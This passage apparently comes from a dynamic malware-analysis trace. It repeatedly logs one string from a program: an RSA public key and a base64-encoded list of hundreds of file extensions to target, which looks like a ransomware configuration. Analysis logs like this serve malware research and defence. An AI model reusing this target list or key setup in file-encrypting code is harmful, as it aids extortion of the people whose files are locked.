CwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLm